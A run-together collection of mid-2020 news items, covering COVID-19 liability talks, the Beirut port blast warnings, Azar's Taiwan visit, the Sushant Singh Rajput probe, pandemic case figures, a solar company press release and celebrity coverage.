Compromise Durbin, whos argued that the existing system of trying cases under state tort law shouldnt be replaced, said last week that he could see a compromise if a federal agency like OSHA or the Centers for Disease Control and Prevention set standards for safe reopening. Even then, negotiators would still have to reach agreement on issues such as whether some states could keep jurisdiction, and whether the shield would apply only to future cases. They need to establish and state the national acceptable standards for a business or a school when it comes to dealing with this pandemic, Durbin said. Cornyn last week questioned how new standards, from OSHA or elsewhere, could achieve the Republican goal of offering retroactive liability protection. Id be happy to talk to any of the Democrats who want to talk, Cornyn said, adding that theyve so far indicated unwillingness to discuss the matter. With assistance from Laura Litvan, Erik Wasson, Erik Larson and Steven T. Dennis. Top Photo: Senate Majority Leader Sen. Mitch McConnell. Photographer: Sarah Silbiger/Bloomberg. Copyright 2022 Bloomberg. Topics Lawsuits COVID-19 Workers' Compensation USA By many accounts, Aurora Dora Jordan wasnt a flashy person. In her youth, she might have been crowned reina of a South Side nightclub known as El Ranchito. No doubt she loved music and dancing. After all, she married into a famous musical family. But Jordan preferred being backstage, where detail work ensured the success of every event she helped plan. She was involved in a lot of them, from San Antonios New Years Eve celebrations when they were first held in front of the Alamo to JazzSAlive festivals at Travis Park. She oversaw the details of dedications for new parks. She organized social events and served as a translator when the presidents of six Latin American countries came to San Antonio in 1992. As a special events coordinator for the citys Parks and Recreation Department, she was the first to arrive to make sure the correct streets were closed and the last to leave after overseeing the work of cleaning crews. Jordan had been retired for years when she died in July at 75, another victim of the coronavirus pandemic. The elaborate funeral she planned was not to be due to COVID-19, as her death notice said. Since then, three of her friends Mary Ellen Rodriguez, 82, Grace Herrera, 82, and Angie Perez, 70 have being talking about having a park named for Jordan. The process is long and arduous, requiring petitions, hearings and even door-to-door campaigns in a parks neighborhood. It will be a while before the project develops legs, though several influential people, including activist Rosie Castro, are already behind the initiative. Thats because they knew the woman Jordan was dedicated, demanding, deserving. They know she was a person who, in her own day, wouldnt have been considered for such an honor. In that era, schools, libraries, streets, parks and arenas rarely were named for deserving women, especially women of color. But its a new day, and the nation is being forced to reckon with a history of slights, injustices and racism. A new willingness has emerged not only to consider such overdue acknowledgment but to will it into reality. Jordan was like so many young, ambitious Mexican American women in San Antonio in the 1950s, 60s and 70s. They had to work so much harder for what they achieved. They were smart and capable but werent always able to go to college. But once hired, they figured out how to survive and succeed. They were Rosie the Riveter types who listened when they were told to learn to type because it was going to come in handy someday. They pushed each other to take college courses and looked out for one another when job openings were posted. They couldnt become generals or directors of departments, but they took notes, sometimes literally, because they had mastered an archaic language called shorthand and took dictation. As the Hamilton song goes, they were in the rooms where decisions were made, and they learned it wasnt so hard to make things happen. Carol OMalley, who worked for the parks department and later operated a San Antonio river barge company, remembered when Jordan was involved in planning dignitary visits, including that of Pope John Paul II in 1987, and in bringing Mexican songstress Lola Beltran to San Antonio for a concert benefiting parks. Jordan was briefly married to professional percussionist Bonifacio Jordan, brother of the late accordion legend Esteban Steve Jordan. Her son, also named Bonifacio Jordan, said his mother died a month after her sisters death, also of COVID-19. It has been a trying couple of months for the family. Theyre touched by the thought of having a park named for her, but they havent gotten their hopes up. But if you ask Rodriguez, Herrera and Perez, many city government retirees are just as interested in seeing Dora Jordan receive her due. Theyve all been in the rooms where decisions are made, and they think its probably best if city officials just get behind them. They already have a piece of undeveloped parkland in mind, and they dont sound like women wholl take no for an answer. Dora Jordan was like that. They recalled how she encouraged other women to get ahead, apply for better jobs, report injustices and speak up for themselves. Shed say, No te dejes, said Perez, using a Spanish phrase thats loaded with attitude and that advises the hearer to speak up, defend themself, dont get discouraged and dont accept defeat. eayala@express-news.net Emmvee started its manufacturing activities with the production of solar water heating systems at Bangalore, India. The brand name 'Solarizer' water heating system has grown to be the largest manufacturer of solar water heating systems in India and Europe. In the year 2007, Emmvee embarked on the manufacturing of solar photovoltaic modules, and has become one of the leading players capable of providing products to individual and commercial consumers. Emmvee has rich expertise in developing large solar power plants and also sell the power to required customers. Emmvee, over the years has built strong brand legacy of providing world-class quality products and excellent customer support. Photovoltaic Modules 1. Emmvee's State-of-the-Art Production Facility Emmvee's state-of-the-art manufacturing facility at Bangalore, India has a production capacity of 500 MW. The company has manufactured and supplied more than 1.5 GW of photovoltaic modules in India and across the world. Emmvee uses world-class top-quality German components to achieve the highest standard of process reliability, production results, and product quality. 2. Emmvee's Range of Products Mono PERC Module It is ideally suited for On-Grid solar power plants manufactured with best-in-class machinery and materials. The module can reach an efficiency level of 19.74% and its performance ranges upto 395 Wp. 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Recently Introduced Products: Emmvee Powerhub: Emmvee taking forward its initiative of supporting green energy has introduced a new product - The Emmvee Powerhub, a German-designed intelligent electric energy storage system capable of optimizing power storage by controlling per unit energy consumption with easily scalable features. Its highly intelligent control system provides long-lasting performance by operating under low voltage. Emmvee Spowdi The company's revolutionary product 'Emmvee Spowdi' is aimed at boosting the agricultural industry by restoring groundwater levels. Spowdi's design helps in curtailing the problems of traditional water pumps which can create a threat to the available groundwater. It is capable of providing high yield using less water for irrigation. Emmvee Spowdi which is powered by solar panels does not require any technical experience to operate it. It provides only the optimal level of water required for the entire farm. Turnkey Solutions Emmvee has strong record of commissioning more than 200 MW of solar projects in India and across the world. It has developed rich expertise in executing solar photovoltaic roof top projects, large scale solar photovoltaic power projects, land to PPA (Power Purchase Agreement), EPC (Engineering, Procurement and Construction) projects, O&M (Operation & Maintenance) of large projects and OEM and retail sale of solar photovoltaic modules for DCR & Non-DCR requirements. Some of the key projects executed: A 40 MW solar power plant spread across 206 acres area of land at Bagepalli, Kunigal, and Bidar in Karnataka. The plant has 132,000 polycrystalline modules with a power generation capacity of 72 million U/a. A joint venture with Reddy's Lab to supply solar power for their facilities for the next 25 years at Hyderabad . The 15 MW capacity solar power plant will supply electricity exclusively to Reddy's Lab facilities. . The 15 MW capacity solar power plant will supply electricity exclusively to Reddy's Lab facilities. Emmvee has taken its green initiative to a next level by installing a 1MW rooftop solar power plant at its solar water heater manufacturing facility in Dabaspet. The modules and water heater products are manufactured using the 1.380MW solar power generated from the solar plants. Apart from these projects Emmvee has executed a flat RCC solar power project of 1.1MWp at the University of Hyderabad , a sloped sheet roof project of 1 MWp at CIAL in Kerela and a solar power plant project of 11.4 MW in Bronkow, Germany , etc. Photo: https://mma.prnewswire.com/media/1226088/Emmvee_Solar_Manufaturers_India.jpg Media Contact: Saritha T [email protected] +91-91481-94490 Manager - Marketing & Branding Emmvee Photovoltaic Power Pvt Ltd. SOURCE Emmvee Photovoltaic Power Pvt Ltd. Firecrackers thrown by protesters explode in front of riot police amid clashes in the vicinity of the parliament in central Beirut Lebanons prime minister and president were warned that 2,750 tons of ammonium nitrate stored at Beirut port could explode just weeks before the devastating blast that shattered the city, documents have shown. As the Lebanese capital observed a minute silence at 6.08 pm local time on Tuesday to mark a week since the blast that killed at least 171 people and left dozens more missing, documents obtained by Reuters painted the clearest picture yet of the repeated warnings that were issued to the highest levels of Lebanons government. A private letter sent to President Michel Aoun and Prime Minister Hassan Diab on July 20 warned of the danger the stored explosive chemicals posed to the Lebanese capital, according to a report on the catastrophe by the General Directorate of State Security, which has not previously been reported on. The letter included the findings of a judicial investigation launched in January that warned the ammonium nitrate needed to be safely secured immediately, according to an official involved in drafting it. A man stands next to graffiti at the damaged port area in the aftermath of a massive explosion in Beirut Two weeks later the chemicals, which had been stored at the port since 2014, did explode, destroying 6,000 buildings across Beirut and wounding 6,000 people, according to municipal authorities. There was a danger that this material, if stolen, could be used in a terrorist attack, the official involved in writing the letter told Reuters. At the end of the investigation, Prosecutor General (Ghassan) Oweidat prepared a final report which was sent to the authorities, he said, referring to the letter sent to the prime minister and president by the General Directorate of State Security, which oversees port security. I warned them that this could destroy Beirut if it exploded, said the official, who declined to be named. A man walks past a damaged area in the aftermath of a massive explosion in Beirut While the prime minister, who resigned on Monday, and the president did not respond to questions about the July 20 letter, last week they admitted knowing of the presence of the chemicals. Story continues Days after the blast, Mr Diab acknowledged knowing the chemicals had been stored in a depot for six years, while Mr Aoun told reporters he had instructed officials to take care of the issue. I am not responsible! I dont know where it was put and I didnt know how dangerous it was. I have no authority to deal with the port directly. There is a hierarchy and all those who knew should have known their duties to do the necessary, Mr Aoun said. After the cabinet resigned on Monday, Mr Aoun asked it to remain in a caretaker role until a new government can be formed. The letter to the prime minister and president was the latest in a series of reports and letters sent by port, customs and security officials to Lebanons courts over the past six years urging the removal of the ammonium nitrate from proximity to the capital. For those Lebanese who continued protesting on Tuesday despite the resignation of the cabinet the night before, the correspondence highlighted the government corruption and negligence they have been demonstrating against since last year. He knew, read a poster bearing Mr Aoun's picture carried by a marcher in the suburb of Gemayze. 11.08.2020 LISTEN The Deputy General Secretary of the opposition National Democratic Congress, Peter Otokunor said the differences in performance between the current Akufo-Addo administration and the previous Mahama administration is now clearer for Ghanaians to judge. He expects John Mahama's time in government to count in his favour when Ghanaians go to the polls on December 7. Speaking on Citi TV's The Point of View, Mr. Otokunor noted that, If we have a former president contesting the election, the dynamics are going to be different. Mr. Mahama was the first incumbent to lose an election in Ghana's electoral history. His return as the NDC flagbearer has meant both the NDC and the New Patriotic Party will be presenting candidates who have been Presidents before as President Akufo-Addo will be seeking a second term. In Mr. Otokunors view, this has given voters an easy comparison to make. They [Ghanaians] have weighed the two governmentsThey have realised which of them is heavier and that alone generates some inherent alacrity among the voters. They have seen the level of infrastructural development and growth, the levels of economic stability that they enjoyed from the Mahama administration, he said. Mr. Otokunor also said the controversies around voter suppression have energised residents in areas perceived to be targeted by the state because they are NDC strongholds. He said this was evident in the encouraging number of voters registered in NDC strongholds. They wanted to show the government that the sovereignty of the state lies in them and that nobody can define their citizenship beyond the constituency. Mr. Otokunor also expects a significant improvement on the voter turnout figure of about 69 percent in 2016. This year, you are not going to see the usual voter turnout being low with respect to the average, he predicted. ---citinewsroom Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Tue, August 11, 2020 12:11 526 6657ac82168da9fa101c8a4066d14070 1 Art & Culture Docs-by-the-sea,documentary Free The annual documentary film forum Docs By The Sea's mentoring programs are set to return on Aug. 13-28 with 29 selected projects from eight Southeast Asian countries. The selected projects include 12 documentaries by Indonesian filmmakers and eight completed films by Docs By The Sea alumni. The Storytelling Lab and Editing Lab programs aim to help the participants in creating grant-winning pitches to manifest their projects, including by involving film editors and experts to mentor them on how to dig for potential stories, compose strong storytelling and maximize story structure. The project teams will be given the opportunity to pitch their works in a one-on-one session with donors, broadcasters, distributors, film festivals and other industry practitioners in the international documentary scene on Aug. 26-28. Read also: Indonesias first Academy Awards voting member Amelia Hapsari to champion Southeast Asian documentaries According to a statement, the programs were initially slated to take place in Bali, however they will now be conducted entirely online as a safety measurement amid the COVID-19 pandemic. Initiated by non-profit organization In-Docs and the Tourism and Creative Economy Ministry, Docs By The Sea was first launched in 2017 and has helped catapult 74 documentary projects in Southeast Asia to new audiences. The alumni have reportedly had their films screened at 40 international film festivals, including Busan International Film Festival in South Korea, IDFA in the Netherlands and Visions du Reel in Switzerland. Four documentaries by Docs by the Sea alumni have also been broadcast in the Inside Lens program for Japanese TV station NHK. (gis/kes) US Secretary of Health Alex Azar landed in Taiwan on Sunday for a three-day visit, becoming the highest-ranking American official to visit the island since the US ended its diplomatic relations with Taipei in 1979 and established formal ties with Beijing instead. The purpose of Azars visit is far more than just to affirm US collaboration with Taiwan over health issues or to acknowledge the relative success, to date, of its containment of the COVID-19 pandemic. Rather, it is another provocative step aimed at strengthening US-Taiwanese relations and potentially overturning the One China policy that has been central to US relations with China. In establishing diplomatic ties with China in 1979, the US acknowledged the Chinese Communist Party regime in Beijing as the legitimate government of all China, including Taiwan. Under the Taiwan Relations Act of the same year, the US declared that it would oppose any forcible attempt by China to integrate Taiwan, and authorised continuing arms sales to Taipei. From the outset of his presidency, Trump openly called the One China policy into question, pointedly taking a phone call from Taiwanese President Tsai Ing-wen on assuming office in 2017. Tsai is a member of the Democratic Peoples Party that advocates a more independent stance for Taiwan, despite Beijings warnings to take over by force if Taipei ever declares formal independence from China. Under Trump, the US has boosted relations with Taiwan and stepped up arms sales, ignoring Chinese protests. In 2018, the US president signed the Taiwan Travel Act, authorising high-level official visits, both civilian and military, between the two sides. While Azar is not the only cabinet-level US official to visit Taiwan since 1979, he is certainly the highest-ranking. Prior to meeting with Tsai on Monday, Azar told the media that Taiwan was a vital partner, a democratic success story, and a force for good in the world. He lauded Taiwan as an open and democratic society, executing a highly successful and transparent COVID-19 response, then declared that it should be recognised as a global health leader with an excellent track record of contributing to international health. Azars comments come in the wake of a keynote speech by US Secretary of State Mike Pompeo last month in which he overturned decades of US foreign policy towards China and declared in the language of Cold War propaganda that the free world must win out over the tyranny of Chinese Communism. The very terms bear no resemblance to realitycapitalism, not communism, prevails in China, and democratic rights are under severe attack throughout the misnamed free world, especially in the US. To describe Taiwan as a democratic success story is to ignore both its past and present. For decades, the island was ruled by the brutal US-backed military dictatorship formed after the nationalist Kuomintang (KMT) was driven from the mainland following the 1949 Chinese revolution. Confronted with widespread opposition, particularly from workers in the 1980s, the regime made a tactical decision to hold elections to provide a degree of legitimacy. The police-state apparatus established by the KMT, however, remains largely intact. Azars call for Taiwan to be recognised internationally as a global health leader is part of the Trump administrations efforts to back Taiwans entry into various international bodies. China, which regards Taiwan as a renegade province, has blocked such moves as a de facto recognition of Taiwanese independence. A bitter dispute erupted between Taiwan and the World Health Organisation (WHO) in April as part of the US-backed campaign to accord Taipei observer status at the bodys meetings. WHO chief Tedros Adhanom Ghebreyesus declared that he had been the subject of racist comments by Taiwanese officials, allegations that Taipei denied. China blocked Taiwans presence at the World Health Assembly in May, and its campaign for observer status effectively stalled after the US withdrew from the WHO, alleging without any evidence that it was under Chinese influence. Azars visit to Taiwan is part of the Trump administrations accelerating confrontation with China. In particular, the US is keen to contrast Taiwans relatively successful response to COVID-19 thus far to that of China, which Trump has repeatedly blamed for the global pandemic on the basis of unsubstantiated claims and outright lies. This has been an attempt to deflect attention from his own governments criminal negligence in allowing the virus to spread. For its part, the Tsai administration in Taiwan is looking for greater US support and recognition. Tsai made no reference, let alone criticism, in her comments during Azars visit of the disastrous US health policies that have resulted in 5 million cases of coronavirus and more than 161,000 deaths as of last weekend. Instead, she highlighted Taiwanese assistance to the US by supplying face masks, and noted that Trump and his officials had pointedly appeared in the White House with Made in Taiwan masks. In the negotiations that led up to formal diplomatic relations between the US and China in 1979, Taiwan proved to be most contentious issue, and it remains so today. Not surprisingly, China has responded to Azars visit. Foreign ministry spokesperson Wang Wenbin warned last week that Beijing would take strong countermeasures in response to the US behaviour. Chinas sensitivity on the issue of Taiwan stems not just from concerns that its sovereignty is being violated, but also because of the strategic position of the island as the US military build-up throughout the Indo-Pacific continues apace. Not only is the primary island of Taiwan just 130 kilometres from the Chinese mainland at the narrowest part of the Taiwan Strait, but a number of heavily-fortified Taiwanese islets are just kilometres off the Chinese coast. The Trump administration is deliberately and recklessly stoking one of the most potentially explosive flashpoints in Asia as it ratchets up the pressure on Beijing across the boarddiplomatically, economically and militarily. Any move by the US to expand military ties with Taiwan, including visits by warships, joint military exercises or a visit by a top level US military figure, rather than the civilian Azar, would dangerously raise tensions across the Taiwan Strait as well as between the US and China. New Delhi, Aug 11 : The Central Bureau of Investigation (CBI) is zeroing in on five key witnesses in the Sushant Singh Rajput death case, who were either present in the flat or reached there after hearing the news of his death before the Mumbai Police. The people who were present at Sushant's Bandra flat after the death of the actor were his flatmate Siddharth Pithani, his girlfriend Rhea Chakraborty, house manager Samuel Miranda, his sister Mitu Singh and one other person. According to top CBI sources related to the probe, the central agency will first record the statement of these five key witnesses who were present at the incident site. The information about the presence of five persons at the residence of Sushant was disclosed by Mumbai Police in its affidavit to the Supreme Court. According to the Mumbai Police's affidavit, the police reached the Bandra flat at 2 p.m. after it received the information about the death of Sushant. And when it arrived at the residence it found Rhea, Mitu, Miranda, Pithani and one other person in the flat. The Police had also questioned why the dead body of Sushant was taken down. The Mumbai Police in its affidavit to the apex court has also informed that it has recorded the statements of 56 persons in connection with the case. The CBI took over the probe on August 6 evening after a recommendation from the central government on the request of the Bihar government against Rhea and her family members, Miranda and Sushant and Rhea's ex-manager Shruti Modi and unknown others. The Bihar Police has filed a case on the basis of Sushant's father K.K. Singh complaint on July 25. On Monday, the CBI recorded the statements of Sushant's elder sister Rani Singh and father at different locations in Delhi and Faridabad. Rani's husband O.P. Singh is the Commissioner of Faridabad Police. According to CBI sources, the father and sister in their statement to the CBI have claimed that Sushant was murdered and it was not a case of suicide. Besides the CBI, the Enforcement Directorate (ED) has also registered a case of money laundering against Rhea and her family members and has recorded the statement of six persons. The ED is also recording the statement of Sushant's sister Mitu Singh, who resides in Mumbai. (Anand Singh can be contacted at anand.s@ians.in) Latest updates on Sushant Singh Rajput Death Mystery -- The story has been published from a wire feed without any modifications to the text The peacemaker was stabbed to death while trying to separate two fighters A peacemaker has died while trying to make peace between two rival lovers identified as Eniola Ayodele and Kayode Babashola. The duo have been arrested alongside their girlfriend Barakat Wasiu, following the death of a peacemaker identified as Muhammed Obadimeji. It was gathered that Obadimeji was reportedly stabbed with a sharp object while trying to seperate the men who were fighting over Barakat in Dopemu area of Lagos State. The deceased who was rushed to Lagos State University Teaching Hospital in Ikeja for medical attention, died in the process of being treated. An eyewitness said; The boyfriends were fighting over the girl and the person who came to separate them was killed. One of them stabbed the person, who wanted to separate them and the injury led to his death. The man knew nothing about the fight; he wasnt the one in a relationship with the girl; he just intervened to stop the fight and that was it. The girl is a teenager and somebody was killed because of her. The police have arrested the two rival men and the girl. All of them are in the police station. Lagos state police spokesperson,Bala Elkana who confirmed the arrest of the suspects said Obadimejis corpse has been deposited in the Yaba General Hospitals mortuary for autopsy. The suspects have also been transferred to the State Criminal Investigation and Intelligence Department, Panti, Yaba, for discreet investigation. Bala said; On Sunday, August 9, 2020, around 1.30pm, information was received from a good Samaritan that one Eniola Ayodele, 28, was fighting with Kayode Babashola, 31, over a girl, Barakat Wasiu, all of who stay in the same address on Momodu Street, Orile-Agege. During the fight, Eniola Ayodele allegedly used a sharp object to stab one Muhammed Obadimeji, 25, who was said to have come to separate them, in the chest. The peacemaker was rushed to the LASUTH in Ikeja for treatment and later died. A team of policemen was mobilised to the scene of the incident, where Ayodele, Babashola and Barakat Wasiu were all arrested and brought to the station. Obadimejis corpse has been deposited in the mortuary of the General Hospital in Yaba for autopsy. Investigation is in progress and the case has been transferred to the SCIID, Panti, Yaba, for further action. - S. Korea reports 34 more cases of new coronavirus, total now at 14,660 - No new coronavirus death, death toll at 305 - 71 more patients released from coronavirus treatment, total now at 13,729 South Korea's new coronavirus cases bounced back to above 30 on Tuesday, as an uptick in church-traced infections shows no signs of letup. The country identified an additional 34 virus cases, including 23 domestic infections, raising the total caseload to 14,660, according to the Korea Centers for Disease Control and Prevention (KCDC). It marked a slight increase from the 28 new virus cases, including 17 local infections, the previous day. Of the locally transmitted cases, six were reported in Seoul and seven in the surrounding Gyeonggi Province. The southeastern city of Busan added nine more cases of COVID-19. Domestic cases fell to as low as just three on Aug. 3, but sporadic cluster infections, most tied to churches, have led to yet another flare-up of the coronavirus. More than 30 cases have been linked to a church in Goyang, just north of Seoul. The outbreak at the church has also led to infections at the Namdaemun Market in central Seoul and a day care center in Goyang. Russia becomes first country to approve a COVID-19 vaccine, says Putin More virus cases reported at Russia-flagged ship in Busan Namdaemun Market hit by COVID-19 More than 20 cases have been traced to another church in Goyang, and at least eight cases have been also identified at a church in Gimpo, just west of Seoul. South Korea had banned church members from having gatherings other than regular worship services amid the soaring number of virus patients, but it decided to lift the regulation on July 24. Health authorities have hinted that they are considering readopting the scheme should the number of infections from churches not plateau. South Korea reported 11 imported cases for the second straight day. The daily rise of imported cases had stayed at double-digit numbers between June 26 and Aug. 8. Of the newly identified imported cases, three were screened at quarantine checkpoints. By country, the United States accounted for five cases, followed by Kazakhstan with tree cases. The total number of imported cases is now at 2,572. The country reported no new virus deaths for the second consecutive day, keeping the number of fatalities at 305, according to the KCDC. The fatality rate reached 2.08 percent. The number of patients fully cured of the virus reached 13,729, up 71 from the previous day. South Korea has carried out 1,637,844 COVID-19 tests since Jan. 3. (Yonhap) The latest risk assessment by the ECDC praised the Grand Duchy's efforts to control the virus using the large scale testing strategy. According to a statement released by the Ministry of Health on Monday night, the ECDC report depicted Luxembourg as a good example of how to use a widespread testing strategy to reduce the spread of the virus. The Grand Duchy has the highest testing rate in Europe by far. In the week of 20 July, Luxembourg carried out 10,659 tests per 100,000 inhabitants - 5.7 times more than the country in second place. The ECDC also expressed concern over the developing situation within the European Union, as many countries have noted an increase in new cases. According to the report, member states which have opted to use a large-scale testing strategy in addition to an effective tracing system, such as Luxembourg, are better equipped to quickly detect an increase in cases, to identify groups at risk and therefore to limit the risks of a new rise in infections. The large scale testing has permitted authorities in Luxembourg to identify and isolate local outbreaks, minimising further risk to the rest of the population. The ECDC has encouraged other countries to use the Grand Duchy's methods as an example, and urged member states to maximise their testing efforts, including those with mild to no symptoms. The report also cautioned against drawing hasty conclusions from the number of new infections reported, stressing that the diversity of testing strategies in the EU requires further analysis. Luxembourg, for example, has seen a large upsurge, but the testing strategy includes screening for asymptomatic cases, which can further skew the numbers. David here signing off. To follow Wednesday's live coverage, click here. Thank you all once again for joining us in following what became a night of a few big developments. Earlier we heard the revelations from Defence Minister Linda Reynolds that the Australian Defence Force repeatedly offered to help Victoria establish and maintain hotel quarantine arrangements for returned travellers. We also heard that a fresh outbreak of COVID cases has emerged in Auckland, New Zealand, after 102 days of a virus-free community. These are some of the other stories from today: Stay safe and good night. Paris: The spread of coronavirus in France could become harder to control without a collective effort to stop a rise in the infection rate, French Prime Minister Jean Castex said on Tuesday (August 11, 2020). The public was becoming careless, Jean Castex warned, speaking shortly before health authorities said new daily infections were up by 1,397 in 24 hours, almost twice as much as Monday, to reach 204,172. "If we don`t act collectively, we expose ourselves to the heightened risk that the rebound in the epidemic becomes hard to control," Castex said during a visit to a hospital intensive care ward in southern France. A health ministry statement also reported 15 new deaths in the hospital due to the disease, compared to an increase of 16 over a three-day period between Monday and Saturday, with the total death toll standing at 30,354. France`s 7-day moving average of new infections climbed to 1,691 on Tuesday from 1,056 on July 31. The 7-day measure reached a post lockdown low of 272 on May 27, a little over two weeks after France eased one of Europe`s strictest lockdowns. But as in most neighbouring European countries, new clusters have mushroomed as people let their hair down on holiday, families hold reunions and workers return to offices and France is desperate to avoid another full-scale lockdown. Britain has said it will not hesitate putting more countries on its quarantine list, including France, where hordes of Britons spend their summer vacations. Earlier on Tuesday, President Emmanuel Macron held a video conference with top ministers from his Riviera summer retreat. During the meeting, it was decided France would draw up new restrictions for the 20 largest cities to curb the rising infection rate and that a ban on gatherings of more than 5,000 people would be extended until Oct. 31. Some cities have already taken action. Paris on Monday joined Toulouse, Lille, Biarritz and others in imposing a mandatory face mask order in crowded outdoor zones. They are already compulsory nationwide in shops and banks. The prime minister said testing was "more than satisfactory", with more than 600,000 tests being conducted weekly, but said more could still be done to target those with symptoms, the prime minister said. Talking of the risk of another lockdown, Castex said: "no one wants to live through that again." Later, on a visit to a Mediterranean seaside resort, Castex said he had started talks with employers and unions with a view to making mask-wearing in workplaces as widespread as possible. Hospitals are not at this stage overwhelmed by the uptick in the disease, as the number treated for the infection fell by 33, to 5,012, after rising on Monday for the first time in 10 weeks. The total of COVID-19 hospitalisations reached a peak of 32,292 on April 14. First Minister Arlene Foster has hit back at claims she made comments that supported new widely-condemned security laws in Hong Kong in a meeting with the Chinese government. It's after the Irish News reported Arlene Foster and Michelle O'Neill told Belfast's Chinese Consul General in a video call, they "understand and respect" the new laws passed by China, which made it easier to punish protesters and reduces the city's autonomy. On Twitter, Arlene Foster said her position on Hong Kong is the same as Her Majesty's Government and that what she said at the meeting was "misrepresented". "I will be writing to Madame Zhang to underscore my disappointment," she added. Also posting on Twitter, Michelle O'Neill said of the meeting: "I made it very clear that I supported the One Country, Two Systems international agreement." Speaking on Tuesday afternoon, a source said: "Michelle completely refutes any suggestion she endorsed the laws, it's not an accurate representation of the meeting and she didn't express support. Should the minutes from the meeting emerge, that will be clear." Hong Kong was handed back to China from British control in 1997 under an agreement which protects certain freedoms for Hong Kong, including freedom of assembly and speech, an independent judiciary and some democratic rights. In recent weeks, Britain said it will suspend its extradition treaty with Hong Kong and offer a pathway to citizenship for many of the city's residents in light of recent developments. "This is further evidence that the national security law is being used as a pretext to silence opposition," a spokesman for Prime Minister Boris Johnson told Reuters. "The Hong Kong authorities must uphold the rights and freedoms of its people." A spokesperson for the Executive Office, in response to criticism, said on Tuesday: The Consulates report does not reflect Ministers positions on Hong Kong security legislation, nor their comments at a recent courtesy meeting with the Chinese Consul General. As these matters are not devolved, Ministers stated their awareness of the issues and their hope that the matter could be resolved. Earlier on Tuesday, TUV leader Jim Allister called on the Executive to publish its own notes on the meeting. He said: "In light of the appalling record of the Chinese government on human rights and disregard for the international agreement which is still binding in regard to Hong Kong such comments, if accurate, would be totally inappropriate and I believe give an entirely inappropriate impression of how the people of Northern Ireland view what is currently taking place in Hong Kong". Mr Allister also called on Mrs Foster and Ms O'Neill to clarify whether they raised any human rights concerns with Madame Zhang Meifang. It was also reported the ministers said Stormont "cherishes its friendship with China" and Northern Ireland wants to "further strengthen its cooperation with China" during the Covid-19 pandemic. Human rights organisation Amnesty International also called on the Executive to publish its notes of the meeting, and for the ministers to publicly condemn events in Hong Kong and Xinjiang, a Chinese region where more than 1 million Muslims have been arbitrarily detained in so-called "re-education camps". Northern Ireland director of Amnesty Patrick Corrigan added: "If this is an accurate report of the meeting, then the First and deputy First Minister have let down the people of Northern Ireland and betrayed the people of Hong Kong and the Uighur community in China." He said: Hong Kong is suffering a brutal crackdown on human rights. The new National Security Law is a license for political repression, as shown by the raid on The Apple Daily newspaper offices and arrest of its staff as well as the disqualification of pro-democracy candidates from upcoming elections. "Meanwhile, in Xinjiang, northwest China, an estimated one million Muslim people have been interned in so-called re-education camps. If the First and deputy First Minister did challenge these human rights abuses, given the official Chinese report, we now need clear evidence of that." Details of the virtual meeting emerged in a report posted in recent weeks on the Chinese Consulate's website, according to The Irish News. Madame Zhang is also said to have spoken about Hong Kong's national security legislation, claiming it does not undermine the region's level of autonomy or its residents' freedoms. The report added: "Foster and O'Neill thanked China for its valuable support for the fight against the epidemic in Northern Ireland. "They said that the Northern Ireland government cherishes friendship with China, understands and respects Hong Kong's national security legislation, and sincerely wishes Hong Kong more prosperity and stability, and expressed that Northern Ireland is willing to further strengthen its cooperation with China in the epidemic. "Mutually beneficial cooperation in the fields of prevention and control, local cooperation, economy, trade and tourism will better benefit the people of both sides." August 11, 2020 B.S.D. CROWN LTD. (LSE:BSD) (the "Company") Announcement of AGM results HELD ON 11 August 2020 (the "Meeting") Ramat Gan, Israel The Company refers to its announcements dated 8 July 2020 of the AGM on the date 11 August 2020 with respect to the results of the Meeting and the announcement of the results of the Meeting, respectively. The Company hereby announces that the BOD members re-elected are Mr. Yossi Williger, Mr. Zwi Williger, Mr. Gil Hochboim for additional year and/or until the following AGM. The new external directors elected are Mr. Amir Ariel and Mr. Shmuel Yanai for the period of three years effective date of the meeting. With accordance to the results the re-appoint BDO Israel as auditor of the Company will be effective as of the date of the meeting. Accordingly, all the resolutions 1-6 have been passed. The Company's issued share capital as at 11 August 2020 (excluding treasury shares) was 129,340,252 ordinary shares of NIS 0.01 each. For the full detailed results please refer to the company's website: http://bsd-c.com/images/Annoauncing%20%20AGM%20results%2011.8.2020%20final%20V2.pdf Enquiries: Joseph Williger, Active Chairman of the Board Gordon Ramsay enjoyed a day at the beach in Cornwall on Saturday with his wife Tana and son Oscar, weeks after angering locals by spending lockdown at his second home on the coast. The Michelin starred chef, 53, looked relaxed and happy as he strolled with his lookalike son, 16 months, on his shoulders, while Tana, 45, walked by his side. The famously hot-tempered chef kept things simple for the family outing in a purple t-shirt and shorts, teamed with trainers. Family day out: Gordon Ramsay enjoyed a scenic day out on a Cornwall beach with his wife Tana, 45, and their one-year-old son, Oscar, amid rising tensions with local residents His wife also kept a low profile in black leggings, a camouflage grey jacket and an Adidas cap. Oscar looked like the spitting image of his famous father and was positively adorable in a grey t-shirt and nautical white stripped shorts. Ever the doting dad, father of five Gordon was seen swinging little Oscar before placing him on his shoulders as they took in the sea views. The TV personality angered locals after relocating his family to their second home during the outbreak as the Government urged Britons not to travel from hotspots to the countryside. Cute: The Michelin starred chef, 53, looked relaxed and happy as he strolled with his lookalike son, one Gordon moved into a beachside 4.4 million mansion in the village of Rock in Cornwall as he decided to escape from London at the start of the pandemic. The star was spotted a number of times taking long excursions when outings were still limited to an hour a day including a beachside stroll with his entire family. The fiery chef was accompanied by wife Tana and three of their five children - Jack, 20, Matilda, 18, and Oscar - during a brisk walk across the sand. The Hell's Kitchen star also landed in hot water with the local coastguard, who are said to have issued an official warning to him over his apparent flouting of lockdown guidelines. Casual look: His wife also kept a low profile in black leggings, a camouflage grey jacket and an Adidas cap Sources indicated that Gordon was seen in Rock, Fowey, Port Isaac and Newquay some distance from his 4 million home in Trebetherick. The warning was particularly troubling because Ramsay was the face of a 'Stayhome' initiative on YouTube which he has been plugging on his ten-minute cookery shows, filmed in 'isolation' in his Cornwall kitchen. Moreover, the TV personality hit yet another stumbling block when he was forced deny 'almost causing an accident' after a resident accused him of jumping a red light while on a 26.2-mile bike ride. Whilst the UK was in heavy lockdown to slow the spread of COVID-19, the government advice was to 'stay local and use open spaces near to your home where possible.' Revenge: In a thinly-disguised dig at locals, Gordon went above and beyond to thank a neighbour who delivered him asparagus and said 'that's what I call love thy neighbour, see?' While people with second homes are not allowed to travel back and forth, choosing one home and sitting out the lockdown in it was not against official advice. A friend of the family told MailOnline in May: 'The family see Cornwall as their family home when the kids are back from uni and Gordon back from filming around the world it's where they spend all their family time together. 'They've been spending time there for 10 years and Jack actually lives in the house there full time too. 